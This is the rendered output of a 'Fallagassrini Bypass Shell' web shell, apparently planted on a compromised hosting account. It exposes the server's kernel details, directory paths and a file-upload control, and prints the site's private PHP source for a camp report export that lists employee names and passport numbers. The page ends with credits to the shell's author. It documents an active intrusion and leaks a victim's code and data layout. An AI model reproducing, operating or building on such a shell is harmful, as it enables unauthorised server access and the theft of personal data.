? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/horeitia/application/views/Reports/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/horeitia/application/views/Reports/xls_report_campreport.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$i=1;
$j=0;
foreach($report as $rep)
{
    $j++;
}
$html='<html><head><body><table width="100%" border="0" cellpadding="2" cellspacing="2">
<tbody><tr><td colspan="2" align="left"></td><td style="width:50%">
    </td><td ><br/><br/></td></tr></table><br/>';
$html.='<table><tr><td style="font-size:16px;"><b>Camp Report</b></td><td></td><td></td><td></td></tr>
        <tr><td>Printout Date</td><td>: '.date('d-m-Y').', '.date('h:i:s a').'</td></tr>
        <tr><td><b>No of employees in camp</b></td><td>'.$j.'</td></tr>

         </table><br><br>';
$html.='<hr>';

$html.='<table cellspacing="-1" style="width:100%;text-align:left">
    <tr>
    <th style="text-align:left" bgcolor="#7FCEFF">Sl No</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Allotment Date</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Old Employee No</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Employee No</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Employee Name</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Passport No</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Trade</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Camp</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Customer</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Site</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Employee Status</th></tr>';


foreach($report as $rep)
{


    $atdate=$rep['camp_allotment_date'];
    $empname=$rep['emp_non_full_name'];
    $empno=$this->mastermodel->correctempno($rep['emp_non_no']);
    $campname=$rep['camp_name'];
    $status = $rep['active'] ? 'Active' : 'Inactive';


    $trade=$this->reportmodel->findemployeetrade($rep['emp_non_id'],$atdate);

    if(!empty ($trade))
    {
        $tradename=$trade->trade_name;
    }
    else
    {
        $tradename="";
    }

    $site=$this->reportmodel->findemployeesite($rep['emp_non_id'],$atdate);

    if(!empty ($site))
    {
        $sitename=$site->site_name;
        $customer_name=$site->customer_name;
    }
    else
    {
        $sitename="";
        $customer_name='';
    }
    
    $atdate= $this->mastermodel->convdatformat($atdate);

   
      $html.='<tr style="color:#555555"><td>'.$i.'</td>
      <td>'.$atdate.'</td>
      <td>'.$rep['emp_non_no_old'].'</td>
      <td>'.$empno.'</td>
      <td>'.$empname.'</td>
      <td>&#8291;'.$rep['emp_non_passport_no'].'</td>
      <td>'.$tradename.'</td>
      <td>'.$campname.'</td>
      <td>'.$customer_name.'</td>
      <td>'.$sitename.'</td>
      <td>'.$status.'</td>
      </tr>';


        $i++;
 

}

   $html.='</table>';
   $html.='<hr>';
   $html.='</body></html>';

   
$filename = "Camp Report";
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=".$filename.".xls");
    header("Pragma: no-cache");
    header("Expires: 0");
print $html;
exit;

   ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net